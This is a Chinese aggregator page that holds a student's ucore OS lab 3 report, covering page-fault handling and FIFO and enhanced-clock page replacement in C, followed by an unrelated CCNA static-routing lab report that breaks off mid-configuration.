GVKun编程网logo

ucoreOS_lab3 实验报告(ucore lab1实验报告)

27

如果您想了解ucoreOS_lab3实验报告和ucorelab1实验报告的知识,那么本篇文章将是您的不二之选。我们将深入剖析ucoreOS_lab3实验报告的各个方面,并为您解答ucorelab1实验

如果您想了解ucoreOS_lab3 实验报告ucore lab1实验报告的知识,那么本篇文章将是您的不二之选。我们将深入剖析ucoreOS_lab3 实验报告的各个方面,并为您解答ucore lab1实验报告的疑在这篇文章中,我们将为您介绍ucoreOS_lab3 实验报告的相关知识,同时也会详细的解释ucore lab1实验报告的运用方法,并给出实际的案例分析,希望能帮助到您!

本文目录一览:

ucoreOS_lab3 实验报告(ucore lab1实验报告)

ucoreOS_lab3 实验报告(ucore lab1实验报告)

所有的实验报告将会在 Github 同步更新,更多内容请移步至Github:https://github.com/AngelKitty/review_the_national_post-graduate_entrance_examination/blob/master/books_and_notes/professional_courses/operating_system/sources/ucore_os_lab/docs/lab_report/

练习0:填写已有实验

lab3 会依赖 lab1lab2,我们需要把做的 lab1lab2 的代码填到 lab3 中缺失的位置上面。练习 0 就是一个工具的利用。这里我使用的是 Linux 下的系统已预装好的 Meld Diff Viewer 工具。和 lab2 操作流程一样,我们只需要将已经完成的 lab1lab2 与待完成的 lab3 (由于 lab2 是基于 lab1 基础上完成的,所以这里只需要导入 lab2 )分别导入进来,然后点击 compare 就行了。

compare

然后软件就会自动分析两份代码的不同,然后就一个个比较比较复制过去就行了,在软件里面是可以支持打开对比复制了,点击 Copy Right 即可。当然 bin 目录和 obj 目录下都是 make 生成的,就不用复制了,其他需要修改的地方主要有以下四个文件,通过对比复制完成即可:

default_pmm.c
pmm.c
trap.c
kdebug.c

练习1:给未被映射的地址映射上物理页(需要编程)

本实验要求完成 do_pgfault 函数,作用给未被映射的地址映射上物理页。

具体而言,当启动分页机制以后,如果一条指令或数据的虚拟地址所对应的物理页框不在内存中或者访问的类型有错误(比如写一个只读页或用户态程序访问内核态的数据等),就会发生页错误异常。产生页面异常的原因主要有:

  • 目标页面不存在(页表项全为 0,即该线性地址与物理地址尚未建立映射或者已经撤销);
  • 相应的物理页面不在内存中(页表项非空,但 Present 标志位 =0,比如在 swap 分区或磁盘文件上)
  • 访问权限不符合(此时页表项 P 标志 =1,比如企图写只读页面).

当出现上面情况之一,那么就会产生页面 page fault(#PF) 异常。产生异常的线性地址存储在 CR2 中,并且将是 page fault 的产生类型保存在 error code 中。

因此此函数是完成页错误异常处理的主要函数,它根据 CPU 的控制寄存器 CR2 中获取的页错误异常的虚拟地址,以及根据 error code 的错误类型来查找次虚拟地址是否在某个 VMA 的地址范围内,并且是否满足正确的读写权限。如果在此范围内并且权限也正确,就认为这是一次合法访问,但没有建立虚实对应关系,所以需要分配一个空闲的内存页,并修改页表完成虚地址到物理地址的映射,刷新 TLB,然后调用 iret 中断,返回并重新执行。如果该虚地址不在某 VMA 范围内,这认为是一个非法访问。

那么我们的这个 do_pgfault 函数的思路就明显了。do_pgfault() 函数从 CR2 寄存器中获取页错误异常的虚拟地址,根据 error code 来查找这个虚拟地址是否在某一个 VMA 的地址范围内,那么就给它分配一个物理页。

page_fault 函数不知道哪些是“合法”的虚拟页,原因是 ucore 还缺少一定的数据结构来描述这种不在物理内存中的“合法”虚拟页。为此 ucore 通过建立 mm_structvma_struct 数据结构,描述了 ucore 模拟应用程序运行所需的合法内存空间。当访问内存产生 page fault 异常时,可获得访问的内存的方式(读或写)以及具体的虚拟内存地址,这样 ucore 就可以查询此地址,看是否属于 vma_struct 数据结构中描述的合法地址范围中,如果在,则可根据具体情况进行请求调页/页换入换出处理;如果不在,则报错。

虚拟地址空间和物理地址空间的示意图如下图所示:

addr_memory

这里的 VMA 是描述应用程序对虚拟内存“需求”的变量,如下:

struct vma_struct {  
    struct mm_struct *vm_mm;  //指向一个比 vma_struct 更高的抽象层次的数据结构 mm_struct 
    uintptr_t vm_start;      //vma 的开始地址
    uintptr_t vm_end;      // vma 的结束地址
    uint32_t vm_flags;     // 虚拟内存空间的属性
    list_entry_t list_link;  //双向链表,按照从小到大的顺序把虚拟内存空间链接起来
}; 

其中,各变量的属性如下:

  • vm_startvm_end 描述的是一个合理的地址空间范围(即严格确保 vm_start < vm_end 的关系)

  • list_link 是一个双向链表,按照从小到大的顺序把一系列用 vma_struct 表示的虚拟内存空间链接起来,并且还要求这些链起来的 vma_struct 应该是不相交的,即 vma 之间的地址空间无交集。

  • vm_flags 表示了这个虚拟内存空间的属性,目前的属性包括:

    define VM_READ 0x00000001 //只读

    define VM_WRITE 0x00000002 //可读写

    define VM_EXEC 0x00000004 //可执行

vm_mm 是一个指针,指向一个比 vma_struct 更高的抽象层次的数据结构 mm_struct

struct mm_struct {  
    list_entry_t mmap_list;  //双向链表头,链接了所有属于同一页目录表的虚拟内存空间
    struct vma_struct *mmap_cache;  //指向当前正在使用的虚拟内存空间
    pde_t *pgdir; //指向的就是 mm_struct数据结构所维护的页表
    int map_count; //记录 mmap_list 里面链接的 vma_struct 的个数
    void *sm_priv; //指向用来链接记录页访问情况的链表头
};  

其中,各变量的属性如下:

  • mmap_list 是双向链表头,链接了所有属于同一页目录表的虚拟内存空间。
  • mmap_cache 是指向当前正在使用的虚拟内存空间,由于操作系统执行的“局部性”原理,当前正在用到的虚拟内存空间在接下来的操作中可能还会用到,这时就不需要查链表,而是直接使用此指针就可找到下一次要用到的虚拟内存空间。
  • pgdir 所指向的就是 mm_struct 数据结构所维护的页表。通过访问 pgdir 可以查找某虚拟地址对应的页表项是否存在以及页表项的属性等。
  • map_count 记录 mmap_list 里面链接的 vma_struct 的个数。
  • sm_priv 指向用来链接记录页访问情况的链表头,这建立了 mm_struct 和后续要讲到的 swap_manager 之间的联系。

其结构关系如图所示:

mm_to_vm

do_pgfault 的调用关系如下图所示:

do_pgfault

实现过程如下:(包含了练习 1 以及 练习 2 的部分实现)

int do_pgfault(struct mm_struct *mm, uint32_t error_code, uintptr_t addr) {
    int ret = -E_INVAL;
    //try to find a vma which include addr
    struct vma_struct *vma = find_vma(mm, addr);//查询 vma

    pgfault_num++;
    //If the addr is in the range of a mm''s vma?
    if (vma == NULL || vma->vm_start > addr) {
        cprintf("not valid addr %x, and  can not find it in vma\n", addr);
        goto failed;
    }
    //check the error_code
    switch (error_code & 3) {//错误处理
    default:
            /* error code flag : default is 3 ( W/R=1, P=1): write, present */
    case 2: /* error code flag : (W/R=1, P=0): write, not present */
        if (!(vma->vm_flags & VM_WRITE)) {
            cprintf("do_pgfault failed: error code flag = write AND not present, but the addr''s vma cannot write\n");
            goto failed;
        }
        break;
    case 1: /* error code flag : (W/R=0, P=1): read, present */
        cprintf("do_pgfault failed: error code flag = read AND present\n");
        goto failed;
    case 0: /* error code flag : (W/R=0, P=0): read, not present */
        if (!(vma->vm_flags & (VM_READ | VM_EXEC))) {
            cprintf("do_pgfault failed: error code flag = read AND not present, but the addr''s vma cannot read or exec\n");
            goto failed;
        }
    }
    /* IF (write an existed addr ) OR
     *    (write an non_existed addr && addr is writable) OR
     *    (read  an non_existed addr && addr is readable)
     * THEN
     *    continue process
     */
    uint32_t perm = PTE_U;
    if (vma->vm_flags & VM_WRITE) {
        perm |= PTE_W;
    }
    addr = ROUNDDOWN(addr, PGSIZE);

    ret = -E_NO_MEM;

    pte_t *ptep=NULL;
    /*LAB3 EXERCISE 1: YOUR CODE
    * Maybe you want help comment, BELOW comments can help you finish the code
    *
    * Some Useful MACROs and DEFINEs, you can use them in below implementation.
    * MACROs or Functions:
    *   get_pte : get an pte and return the kernel virtual address of this pte for la
    *             if the PT contians this pte didn''t exist, alloc a page for PT (notice the 3th parameter ''1'')
    *   pgdir_alloc_page : call alloc_page & page_insert functions to allocate a page size memory & setup
    *             an addr map pa<--->la with linear address la and the PDT pgdir
    * DEFINES:
    *   VM_WRITE  : If vma->vm_flags & VM_WRITE == 1/0, then the vma is writable/non writable
    *   PTE_W           0x002                   // page table/directory entry flags bit : Writeable
    *   PTE_U           0x004                   // page table/directory entry flags bit : User can access
    * VARIABLES:
    *   mm->pgdir : the PDT of these vma
    *
    */
--------------------------------------------------------------------------------------------
* 设计思路:
    首先检查页表中是否有相应的表项,如果表项为空,那么说明没有映射过;
    然后使用 pgdir_alloc_page 获取一个物理页,同时进行错误检查即可。
/*LAB3 EXERCISE 1: YOUR CODE*/
    // try to find a pte, if pte''s PT(Page Table) isn''t existed, then create a PT.
    // (notice the 3th parameter ''1'')
    if ((ptep = get_pte(mm->pgdir, addr, 1)) == NULL) {
        cprintf("get_pte in do_pgfault failed\n");
        goto failed;
    }
    //如果页表不存在,尝试分配一空闲页,匹配物理地址与逻辑地址,建立对应关系
    if (*ptep == 0) { // if the phy addr isn''t exist, then alloc a page & map the phy addr with logical addr
        if (pgdir_alloc_page(mm->pgdir, addr, perm) == NULL) { //失败内存不够退出
            cprintf("pgdir_alloc_page in do_pgfault failed\n");
            goto failed;
        }
    }
--------------------------------------------------------------------------------------------
    /*LAB3 EXERCISE 2: YOUR CODE
    * Now we think this pte is a  swap entry, we should load data from disk to a page with phy addr,
    * and map the phy addr with logical addr, trigger swap manager to record the access situation of this page.
    *
    *  Some Useful MACROs and DEFINEs, you can use them in below implementation.
    *  MACROs or Functions:
    *    swap_in(mm, addr, &page) : alloc a memory page, then according to the swap entry in PTE for addr,
    *                               find the addr of disk page, read the content of disk page into this memroy page
    *    page_insert : build the map of phy addr of an Page with the linear addr la
    *    swap_map_swappable : set the page swappable
    */
--------------------------------------------------------------------------------------------
* 设计思路:
    如果 PTE 存在,那么说明这一页已经映射过了但是被保存在磁盘中,需要将这一页内存交换出来:
      1.调用 swap_in 将内存页从磁盘中载入内存;
      2.调用 page_insert 建立物理地址与线性地址之间的映射;
      3.设置页对应的虚拟地址,方便交换出内存时将正确的内存数据保存在正确的磁盘位置;
      4.调用 swap_map_swappable 将物理页框加入 FIFO。
/*LAB3 EXERCISE 2: YOUR CODE*/
    //页表项非空,尝试换入页面
    else { // if this pte is a swap entry, then load data from disk to a page with phy addr
           // and call page_insert to map the phy addr with logical addr
        if(swap_init_ok) {
            struct Page *page=NULL;//根据 mm 结构和 addr 地址,尝试将硬盘中的内容换入至 page 中
            if ((ret = swap_in(mm, addr, &page)) != 0) {
                cprintf("swap_in in do_pgfault failed\n");
                goto failed;
            }    
            page_insert(mm->pgdir, page, addr, perm);//建立虚拟地址和物理地址之间的对应关系
            swap_map_swappable(mm, addr, page, 1);//将此页面设置为可交换的
            page->pra_vaddr = addr;
        }
        else {
            cprintf("no swap_init_ok but ptep is %x, failed\n",*ptep);
            goto failed;
        }
   }
   ret = 0;
failed:
    return ret;
}

请描述页目录项(Page Directory Entry)和页表项(Page Table Entry)中组成部分对 ucore 实现页替换算法的潜在用处。

表项中 PTE_A 表示内存页是否被访问过,PTE_D 表示内存页是否被修改过,借助着两位标志位可以实现 Enhanced Clock 算法。

如果 ucore 的缺页服务例程在执行过程中访问内存,出现了页访问异常,请问硬件要做哪些事情?

如果出现了页访问异常,那么硬件将引发页访问异常的地址将被保存在 cr2 寄存器中,设置错误代码,然后触发 Page Fault 异常。

练习2:补充完成基于 FIFO 的页面替换算法(需要编程)

本实验要求完成 do_pgfault 函数,并且在实现 FIFO 算法的 swap_fifo.c 中完成 map_swappableswap_out_victim 函数,通过对 swap 的测试。根据练习 1,当页错误异常发生时,有可能是因为页面保存在 swap 区或者磁盘文件上造成的,所以我们需要利用页面替换算法解决这个问题。

页面替换主要分为两个方面,页面换入和页面换出。

  • 页面换入:主要在上述的 do_pgfault() 函数实现;
  • 页面换出:主要在 swap_out_vistim() 函数实现。

在换入时,需要先检查产生访问异常的地址是否属于某个 VMA 表示的合法虚拟地址,并且保存在硬盘的 swap 文件中(即对应的 PTE 的高 24 位不为 0,而最低位为 0),则是执行页换入的时机,将调用 swap_in 函数完成页面换入。

在换出时,采取的是消极的换出策略,是在调用 alloc_pages 函数获取空闲页时,此函数如果发现无法从物理内存页分配器(比如 First Fit )获得空闲页,就会进一步调用 swap_out 函数 换出某页,实现一种消极的换出策略。

由于页面换入操作已经在练习 1 中实现了,所以这里我们主要谈页面换出。

为了实现各种页替换算法,我们需要设计一个页替换算法的类框架 swap_manager

struct swap_manager
{
     const char *name;
     /* Global initialization for the swap manager */
     int (*init)            (void);
     /* Initialize the priv data inside mm_struct */
     int (*init_mm)         (struct mm_struct *mm);
     /* Called when tick interrupt occured */
     int (*tick_event)      (struct mm_struct *mm);
     /* Called when map a swappable page into the mm_struct */
     int (*map_swappable)   (struct mm_struct *mm, uintptr_t addr, struct Page *page, int swap_in);
     /* When a page is marked as shared, this routine is called to
      * delete the addr entry from the swap manager */
     int (*set_unswappable) (struct mm_struct *mm, uintptr_t addr);
     /* Try to swap out a page, return then victim */
     int (*swap_out_victim) (struct mm_struct *mm, struct Page **ptr_page, int in_tick);
     /* check the page relpacement algorithm */
     int (*check_swap)(void);     
};

这里关键的两个函数指针是 map_swappableswap_out_vistimmap_swappable 函数用于记录页访问情况相关属性,swap_out_vistim 函数用于挑选需要换出的页。显然 swap_out_vistim 函数依赖于 map_swappable 函数记录的页访问情况。tick_event 函数指针也很重要,结合定时产生的中断,可以实现一种积极的换页策略。

FIFO 替换算法会维护一个队列,队列按照页面调用的次序排列,越早被加载到内存的页面会越早被换出。

由于 FIFO 基于双向链表实现,所以只需要将元素插入到头节点之前。

实现过程如下:

/*
 * (3)_fifo_map_swappable: According FIFO PRA, we should link the most recent arrival page at the back of pra_list_head qeueue
 */
// 作用: 将最近被用到的页面添加到算法所维护的次序队列。
static int _fifo_map_swappable(struct mm_struct *mm, uintptr_t addr, struct Page *page, int swap_in)
{
    list_entry_t *head=(list_entry_t*) mm->sm_priv;
    list_entry_t *entry=&(page->pra_page_link);
 
    assert(entry != NULL && head != NULL);
    //record the page access situlation
    /*LAB3 EXERCISE 2: YOUR CODE*/ 
    //(1)link the most recent arrival page at the back of the pra_list_head qeueue.
    list_add(head, entry);//将最近用到的页面添加到次序的队尾
    return 0;
}

将双向链表中头部节点后面的第一个节点删除,返回对应的页地址(虚拟地址)。

实现过程如下:

/*
 *  (4)_fifo_swap_out_victim: According FIFO PRA, we should unlink the  earliest arrival page in front of pra_list_head qeueue,
 *                            then assign the value of *ptr_page to the addr of this page.
 */
// 作用: 用来查询哪个页面需要被换出。
static int _fifo_swap_out_victim(struct mm_struct *mm, struct Page ** ptr_page, int in_tick)
{
     list_entry_t *head=(list_entry_t*) mm->sm_priv;
         assert(head != NULL);
     assert(in_tick==0);
     /* Select the victim */
     /*LAB3 EXERCISE 2: YOUR CODE*/ 
     //(1)  unlink the  earliest arrival page in front of pra_list_head qeueue
     //(2)  assign the value of *ptr_page to the addr of this page
     /* Select the tail */
     list_entry_t *le = head->prev;//指出需要被换出的页
     assert(head!=le);
     struct Page *p = le2page(le, pra_page_link);//le2page 宏可以根据链表元素,获得对应 page 的指针p
     list_del(le);//将进来最早的页面从队列中删除
     assert(p !=NULL);
     *ptr_page = p;//将这一页的地址存储在ptr_page中
     return 0;
}

最终运行结果如下:

make_qemu

如果要在ucore上实现"extended clock 页替换算法"请给你的设计方案,现有的 swap_manager 框架是否足以支持在 ucore 中实现此算法?如果是,请给你的设计方案。如果不是,请给出你的新的扩展和基此扩展的设计方案。并需要回答如下问题

  • 需要被换出的页的特征是什么?
  • 在ucore中如何判断具有这样特征的页?
  • 何时进行换入和换出操作?

对于每个页面都有两个标志位,分别为使用位和修改位,记为<使用,修改>。换出页的使用位必须为0,并且算法优先考虑换出修改位为零的页面。

当内存页被访问后,MMU 将在对应的页表项的 PTE_A 这一位设为1;

当内存页被修改后,MMU 将在对应的页表项的 PTE_D 这一位设为1。

当保存在磁盘中的内存需要被访问时,需要进行换入操作;

当位于物理页框中的内存被页面替换算法选择时,需要进行换出操作。

扩展练习

Challenge 1:实现识别 dirty bit 的 extended clock 页替换算法(需要编程)

数据结构

Enhanced Clock 算法需要一个环形链表和一个指针,这个可以在原有的双向链表基础上实现。为了方便进行循环访问,将原先的头部哨兵删除,这样所有的页面形成一个环形链表。指向环形链表指针也就是 Enhanced Clock 算法中指向下个页面的指针。

插入

如果环形链表为空,那么这个页面就是整个链表,将指针指向这个页面。否则,只需要将页面插入指针指向的页面之前即可。

换出

Enhanced Clock 算法最多需要遍历环形链表四次(规定标记为<访问,修改>):

  • 首先,查找标记为<0,0>的页面;
  • 如果上一步没有找到,查找标记<0,1>,并将访问过的页面的访问位清零;
  • 如果上一步没有找到,再次查找标记为<0,0>的页面;
  • 如果上一步没有找到,再次查找标记为<0,1>的页面;

将PTE中的PTE_A清除后,需要调用tlb_invalidate刷新TLB,否则当页面被再次访问的时候,PTE中的PTE_A不会被设置。

实现如下:

// swap_clock.h
#ifndef __KERN_MM_SWAP_CLOCK_H__
#define __KERN_MM_SWAP_CLOCK_H__

#include <swap.h>
extern struct swap_manager swap_manager_clock;

#endif
--------------------------------------------------------------------------------------------
// swap_clock.c
#include <x86.h>
#include <stdio.h>
#include <string.h>
#include <swap.h>
#include <swap_clock.h>
#include <list.h>

#define GET_LIST_ENTRY_PTE(pgdir, le)  (get_pte((pgdir), le2page((le), pra_page_link)->pra_vaddr, 0))
#define GET_DIRTY_FLAG(pgdir, le)      (*GET_LIST_ENTRY_PTE((pgdir), (le)) & PTE_D)
#define GET_ACCESSED_FLAG(pgdir, le)   (*GET_LIST_ENTRY_PTE((pgdir), (le)) & PTE_A)
#define CLEAR_ACCESSED_FLAG(pgdir, le) do {\
    struct Page *page = le2page((le), pra_page_link);\
    pte_t *ptep = get_pte((pgdir), page->pra_vaddr, 0);\
    *ptep = *ptep & ~PTE_A;\
    tlb_invalidate((pgdir), page->pra_vaddr);\
} while (0)

static int
_clock_init_mm(struct mm_struct *mm)
{     
     mm->sm_priv = NULL;
     return 0;
}

static int
_clock_map_swappable(struct mm_struct *mm, uintptr_t addr, struct Page *page, int swap_in)
{
    list_entry_t *head=(list_entry_t*) mm->sm_priv;
    list_entry_t *entry=&(page->pra_page_link);
    assert(entry != NULL);

    // Insert before pointer
    if (head == NULL) {
        list_init(entry);
        mm->sm_priv = entry;
    } else {
        list_add_before(head, entry);
    }
    return 0;
}

static int
_clock_swap_out_victim(struct mm_struct *mm, struct Page ** ptr_page, int in_tick)
{
     list_entry_t *head=(list_entry_t*) mm->sm_priv;
     assert(head != NULL);
     assert(in_tick==0);

     list_entry_t *selected = NULL, *p = head;
     // Search <0,0>
     do {
        if (GET_ACCESSED_FLAG(mm->pgdir, p) == 0 && GET_DIRTY_FLAG(mm->pgdir, p) == 0) {
            selected = p;
            break;
        }
        p = list_next(p);
     } while (p != head);
     // Search <0,1> and set ''accessed'' to 0
     if (selected == NULL)
        do {
            if (GET_ACCESSED_FLAG(mm->pgdir, p) == 0 && GET_DIRTY_FLAG(mm->pgdir, p)) {
                selected = p;
                break;
            }
            CLEAR_ACCESSED_FLAG(mm->pgdir, p);
            p = list_next(p);
        } while (p != head);
     // Search <0,0> again
     if (selected == NULL)
        do {
            if (GET_ACCESSED_FLAG(mm->pgdir, p) == 0 && GET_DIRTY_FLAG(mm->pgdir, p) == 0) {
                selected = p;
                break;
            }
            p = list_next(p);
        } while (p != head);
     // Search <0,1> again
     if (selected == NULL)
        do {
            if (GET_ACCESSED_FLAG(mm->pgdir, p) == 0 && GET_DIRTY_FLAG(mm->pgdir, p)) {
                selected = p;
                break;
            }
            p = list_next(p);
        } while (p != head);
     // Remove pointed element
     head = selected;
     if (list_empty(head)) {
        mm->sm_priv = NULL;
     } else {
         mm->sm_priv = list_next(head);
        list_del(head);
     }
     *ptr_page = le2page(head, pra_page_link);
     return 0;
}

static int
_clock_check_swap(void) {
    cprintf("write Virt Page c in fifo_check_swap\n");
    *(unsigned char *)0x3000 = 0x0c;
    assert(pgfault_num==4);
    cprintf("write Virt Page a in fifo_check_swap\n");
    *(unsigned char *)0x1000 = 0x0a;
    assert(pgfault_num==4);
    cprintf("write Virt Page d in fifo_check_swap\n");
    *(unsigned char *)0x4000 = 0x0d;
    assert(pgfault_num==4);
    cprintf("write Virt Page b in fifo_check_swap\n");
    *(unsigned char *)0x2000 = 0x0b;
    assert(pgfault_num==4);
    cprintf("write Virt Page e in fifo_check_swap\n");
    *(unsigned char *)0x5000 = 0x0e;
    assert(pgfault_num==5);
    cprintf("write Virt Page b in fifo_check_swap\n");
    *(unsigned char *)0x2000 = 0x0b;
    assert(pgfault_num==5);
    cprintf("write Virt Page a in fifo_check_swap\n");
    *(unsigned char *)0x1000 = 0x0a;
    assert(pgfault_num==6);
    cprintf("write Virt Page b in fifo_check_swap\n");
    *(unsigned char *)0x2000 = 0x0b;
    assert(pgfault_num==6);
    cprintf("write Virt Page c in fifo_check_swap\n");
    *(unsigned char *)0x3000 = 0x0c;
    assert(pgfault_num==7);
    cprintf("write Virt Page d in fifo_check_swap\n");
    *(unsigned char *)0x4000 = 0x0d;
    assert(pgfault_num==8);
    cprintf("write Virt Page e in fifo_check_swap\n");
    *(unsigned char *)0x5000 = 0x0e;
    assert(pgfault_num==9);
    cprintf("write Virt Page a in fifo_check_swap\n");
    assert(*(unsigned char *)0x1000 == 0x0a);
    *(unsigned char *)0x1000 = 0x0a;
    assert(pgfault_num==9);
    cprintf("read Virt Page b in fifo_check_swap\n");
    assert(*(unsigned char *)0x2000 == 0x0b);
    assert(pgfault_num==10);
    cprintf("read Virt Page c in fifo_check_swap\n");
    assert(*(unsigned char *)0x3000 == 0x0c);
    assert(pgfault_num==11);
    cprintf("read Virt Page a in fifo_check_swap\n");
    assert(*(unsigned char *)0x1000 == 0x0a);
    assert(pgfault_num==12);
    cprintf("read Virt Page d in fifo_check_swap\n");
    assert(*(unsigned char *)0x4000 == 0x0d);
    assert(pgfault_num==13);
    cprintf("read Virt Page b in fifo_check_swap\n");
    *(unsigned char *)0x1000 = 0x0a;
    assert(*(unsigned char *)0x3000 == 0x0c);
    assert(*(unsigned char *)0x4000 == 0x0d);
    assert(*(unsigned char *)0x5000 == 0x0e);
    assert(*(unsigned char *)0x2000 == 0x0b);
    assert(pgfault_num==14);
    return 0;
}

static int
_clock_init(void)
{
    return 0;
}

static int
_clock_set_unswappable(struct mm_struct *mm, uintptr_t addr)
{
    return 0;
}

_clock_tick_event(struct mm_struct *mm)
{ return 0; }

struct swap_manager swap_manager_clock =
{
     .name            = "clock swap manager",
     .init            = &_clock_init,
     .init_mm         = &_clock_init_mm,
     .tick_event      = &_clock_tick_event,
     .map_swappable   = &_clock_map_swappable,
     .set_unswappable = &_clock_set_unswappable,
     .swap_out_victim = &_clock_swap_out_victim,
     .check_swap      = &_clock_check_swap,
};

Challenge 2:实现不考虑实现开销和效率的 LRU 页替换算法(需要编程)

注:待完成

参考资料

  • page-rep3.dvi
  • Paging - OSDev Wiki

CCNA 实验报告 - LAB (2) 静态路由

CCNA 实验报告 - LAB (2) 静态路由

LAB(2).Static Route

 

把实验分为两个步骤

1)拓扑图

2)路由器的配置

3)连通性测试

 

拓扑图

在拓扑中,我遇到了一些问题和解决方案:

路由器的以太网接口不够怎么办?

Physical 中,先关掉设备,然后在左边的 MODULES 中选择相应的模块。

我们这里是以太网接口,所以我们就要在那些名字中找到有 E 的,即以太网口(Ethernet)。

 

 

以上是完成后的拓扑图,这里面需要注意几点:

1) 要使用相应的连接线,遵循同种设备使用交叉线,不同设备使用直连线。

2) 可以把相应的网段用 Place Note 功能添加网段和子网掩码,以免忘记。

 

路由器的配置

我们从要求可以大概分为如下几个部分:

1) 准备阶段。

2) 使用静态路由,实现全网互联。

3) 使用默认路由,实现全网互联。

4) 浮动静态路由,双出口备份。

5) 设备间连通性的测试。

 

准备阶段

1、某网络拓扑结构如果所示,在每个路由器上配好相应的加速指令,并改好相应的名字。

 

R3 为例,这里的配置都是相同的,只是在配置路由器的名字的时候有所不同。

 

R3 中的配置:

Router>enable  //进入全局模式
Router#conf t  //进入特权模式
Router(config)#no ip domain loo
Router(config)#host
Router(config)#hostname R3
R3(config)#


这里就帮 R3 配置了主机名,和加速指令,在适当的路由器上配置。

 

2、 Router 1 上有 3 个回环口,IP 地址如图(注意掩码长度),Router 3 连接两台 PC,整个网络存在不连续子网问题,现要求实现全网互联。

 

这里我们不急着敲代码,先看要求,首先要在 R1 上设置 3 个回环口。然后注意看一下子网掩码,大多是 /24,也就是 255.255.255.0,但是 172.16.6.0/28 这里是 28,通过计算也就是他的子网掩码是 255.255.255.240。接下来就是对每个接口的配置,对路由器上的每个端口都设置 IP,子网掩码。并且开启(默认是关闭的)。

 

R3 中的配置:

R3(config)#interface ethernet 0/1/0   //进入接口命令
R3(config-if)#ip add 172.16.5.3 255.255.255.0 //设置IP子网掩码
R3(config-if)#no shut      //开启接口命令
R3(config-if)#exit
R3(config)#int f0/0
R3(config-if)#ip add 172.16.4.3 255.255.255.0
R3(config-if)#no shut
R3(config-if)#exit
R3(config)#int f0/1
R3(config-if)#ip add 172.16.6.3 255.255.255.240
R3(config-if)#no shut



R2 中的配置:

R2(config)#int f0/0
R2(config-if)#ip add 172.16.4.2 255.255.255.0
R2(config-if)#no shut
R2(config-if)#exit
R2(config)#int f0/1
R2(config-if)#ip add 172.17.1.2 255.255.255.0
R2(config-if)#no shut


R1 中的配置:

R1(config)#int f0/1
R1(config-if)#ip add 172.17.1.1 255.255.255.0
R1(config-if)#no shut
R1(config-if)#exit
R1(config)#int lo 1       //进入回环口1
R1(config-if)#ip add 172.16.1.1 255.255.255.0
R1(config-if)#exit
R1(config)#int lo 2
R1(config-if)#ip add 172.16.2.1 255.255.255.0
R1(config-if)#exit
R1(config)#int lo 3
R1(config-if)#ip add 172.16.3.1 255.255.255.0



 

当所有的接口都是绿色的时候,就说明所有的接口都配置好了,如果有的没有变成绿色,就说明没有配置,或者没有开启。这里 IP 的设置,我们要选择自己容易记住的,我这里采用的是第几台路由器,最后一位就是几。

还有这里我们如果后面要用这里的 PC 机来测试连通性,就要为 PC 配置 IP,网关和子网掩码。IP 只需要在网段以内,子网掩码和默认网关就是和他直连的路由器那个接口的子网掩码和 IP

 

使用静态路由,实现全网互联

3、在各路由器上配置静态路由,要求使用明细路由实现全网互联,注意分析计算所配置的路由条目的数量。

 

这里我们不着急敲命令,我们再看下要求,这里有个重要的要求,就是要使用明细路由,不能是经过汇总的路由。

 

我们要实现全网互联,我们先找出拓扑图中,的头和尾,假设 PC1 是开头,经过所有的路由器最终到达 R1 的第一个回环口。

 

 

我们先从 PC1 开始,经过的第一个路由器 R3,我们从 PC1 出发,到达 e0/1/0 接口是入接口,而到达 f0/0 是出接口,我们要把数据包从这个接口送出去,就配置这个接口。

首先,先去掉走过的路线,然后再去掉和这个路由器直接连接的那些线,去掉后,剩下的网段,就是我们要在这个接口添加的网段。

 

R3 中的配置:

R3(config)#ip route 172.17.1.0 255.255.255.0 f0/0  //添加一条静态路由
R3(config)#ip route 172.16.1.0 255.255.255.0 f0/0
R3(config)#ip route 172.16.2.0 255.255.255.0 f0/0
R3(config)#ip route 172.16.3.0 255.255.255.0 f0/0

 

R2 中的配置:

R2(config)#ip route 172.16.1.0 255.255.255.0 f0/1
R2(config)#ip route 172.16.2.0 255.255.255.0 f0/1
R2(config)#ip route 172.16.3.0 255.255.255.0 f0/1


 

这里的 Loo123 都可以看作是和路由器 R1 直接连接的接口。

 

刚才是 PC1 发送数据包的路通了,但是收到数据包后,他要做出相应的相应,返回一个数据包,表示收到数据包。但是,我们从 R1 开始,就找不到我们发出数据包的 PC1 的网段了。我们还要为送出数据包的接口配置。

这次的起点是 R1,如上方法找传送数据包的接口。

 

R1 的配置:

R1(config)#ip route 172.16.4.0 255.255.255.0 f0/1
R1(config)#ip route 172.16.5.0 255.255.255.0 f0/1
R1(config)#ip route 172.16.6.0 255.255.255.240 f0/1


R2 中的配置:

R2(config)#ip route 172.16.5.0 255.255.255.0 f0/0
R2(config)#ip route 172.16.6.0 255.255.255.240 f0/0

 

配置完后,我们等待一会,然后再进行连通性的测试。

 

PC1 中的操作:

PC>ping 172.16.1.1

 

这样就说明成功了。

 

 

 

 

 

 

 

使用默认路由,实现全网互联

4. 在各路由器上配置静态路由,要求使用明细路由实现全网互联,注意分析计算所配置的路由条目的数量。

 

需要的操作有:

1)删除适当的静态路由条目

2)在适当的地方添加默认路由

 

R1 中的配置:

R1(config)#no ip route 172.16.4.0 255.255.255.0 f0/1   //删除一条静态路由
R1(config)#no ip route 172.16.5.0 255.255.255.0 f0/1
R1(config)#no ip route 172.16.6.0 255.255.255.240 f0/1
R1(config)#ip route 0.0.0.0 0.0.0.0 f0/1      //添加一条默认路由


R3 中的配置:

R3(config)#no ip route 172.16.1.0 255.255.255.0 f0/0
R3(config)#no ip route 172.16.2.0 255.255.255.0 f0/0
R3(config)#no ip route 172.16.3.0 255.255.255.0 f0/0
R3(config)#no ip route 172.17.1.0 255.255.255.0 f0/0
R3(config)#ip route 0.0.0.0 0.0.0.0 f0/0


我们只删除 R1 R3 中的配置,因为 R2 承担两边的流量,不适合默认路由。

 

然后我们再进行连通性的测试。

 

PC1 中的操作:

PC>ping 172.16.1.1

 

配置成功。

 

 

 

浮动静态路由,双出口备份

5、删除 R2 上配置的静态路由,将 R2 当做企业出口网关路由器,将 R1 当电信,R3 当联通,R1  R3 上分别配置环回口 ,IP 地址都设为 8.8.8.8 来模拟互联网服务器,R2 上通过默认路由访问互联网,实现双出口冗余(浮动静态路由,双出口备份)。

 

1)删除 R2 上的静态路由,并且添加默认路由。

2) R1R3 上配置环回口。

3)测试。

 

R2 上的配置:

R2(config)#no ip route 172.16.1.0 255.255.255.0 f0/1
R2(config)#no ip route 172.16.2.0 255.255.255.0 f0/1
R2(config)#no ip route 172.16.3.0 255.255.255.0 f0/1
